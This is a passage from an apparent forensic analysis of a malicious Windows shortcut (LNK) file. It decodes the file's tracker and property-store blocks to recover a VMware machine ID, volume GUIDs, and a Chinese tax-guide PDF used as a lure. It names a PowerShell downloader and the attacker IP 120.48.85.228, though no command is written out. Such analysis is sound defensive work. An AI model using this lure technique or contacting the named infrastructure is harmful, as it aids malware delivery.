• BlockSignature: 0x0B0000A0 → 0xA000000B (KnownFolderDataBlock)
• KnownFolderID: 774EC11AE7025D4EB7442EB1AE5198B7 → {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7} (System32 Known Folder GUID)
• Offset: 0x0D000000 → 0x0000000D (13)

This block explicitly ties the target to the System32 known folder, reinforcing the namespace path reconstructed earlier (...\System32\WindowsPowerShell\v1.0\powershell.exe).

• TrackerDataBlock → This is analyzed as follows:
• BlockSize: 0x60000000 → 0x00000060 (96 bytes)
• BlockSignature: 0x030000A0 → 0xA0000003 (TrackerDataBlock)
• Length: 0x58000000 → 0x00000058 (88 bytes)
• Version: 0x00000000

Machine ID: desktop-3l400cr (NetBIOS name of the system where the shortcut was created or last resolved).

Distributed Link Tracking (DLT) Identifiers:

• Droid File ID (GUID): {18CDA0B0-9529-4B49-B3BB-AA54930676E8}
• Droid Volume ID (GUID): {A6C9F7BC-F819-11EC-B143-005056C00008}
• Birth Droid File ID: {18CDA0B0-9529-4B49-B3BB-AA54930676E8}
• Birth Droid Volume ID: {A6C9F7BC-F819-11EC-B143-005056C00008}

MAC Address Extraction: The Volume Droid GUID contains the network interface MAC address 00:50:56:c0:00:08 in its trailing bytes. OUI lookup identifies the vendor as VMware, indicating the shortcut was likely created on a virtual machine.

Forensic Significance: The TrackerDataBlock is one of the most valuable artifacts in LNK files. It provides persistent machine and volume identifiers that survive file movement or deletion, enabling analysts to correlate activity across systems, identify virtualized environments, and track the origin of malicious shortcuts.

• PropertyStoreDataBlock --> This is analyzed as follows:
  • BlockSize: 0xE0010000 → 0x000001E0 (480 bytes)
  • BlockSignature: 0x090000A0 → 0xA0000009 (PropertyStoreDataBlock)

  This block contains serialized property stores with rich metadata about the target file.

  PropertyStoreList[0] (FormatID: {B725F130-47EF-101A-A5F1-02608C9EEBAC} – Shell Item Properties)

  • ItemName: 附件1：如何在个税APP上完成汇算清缴？.pdf (Attachment 1: How to complete the annual tax settlement on the Individual Tax APP?.pdf)
  • Created Timestamp: 2022-06-30 03:21:58
  • File Size: 232,486 bytes
  • ItemTypeText: Microsoft Edge PDF Document
  • Modified Timestamp: 2022-06-30 03:22:00

  PropertyStoreList[1] (FormatID: {28636AA6-953D-11D2-B5D6-00C04FD918D0})

  • Parsing Path: E:\downloads\附件1：如何在个税APP上完成汇算清缴？.pdf

  Forensic Significance

  The ExtraData blocks, particularly the TrackerDataBlock and PropertyStoreDataBlock, substantially strengthen the evidentiary value of this LNK artifact. The combination of:

  • VMware-derived Machine ID,
  • Precise target file metadata (including the Chinese-language PDF filename),
  • Full parsing path in E:\downloads,
  • Rich timestamps, and
  • PowerShell downloader command line

  paints a clear picture of malicious activity. Threat actors commonly use such shortcuts to deliver staged payloads while preserving detailed metadata that survives file deletion.

  These structures enable analysts to reconstruct the complete execution context, link the shortcut to specific infrastructure (120.48.85.228), and identify the target document that was likely used as a lure or initial access vector.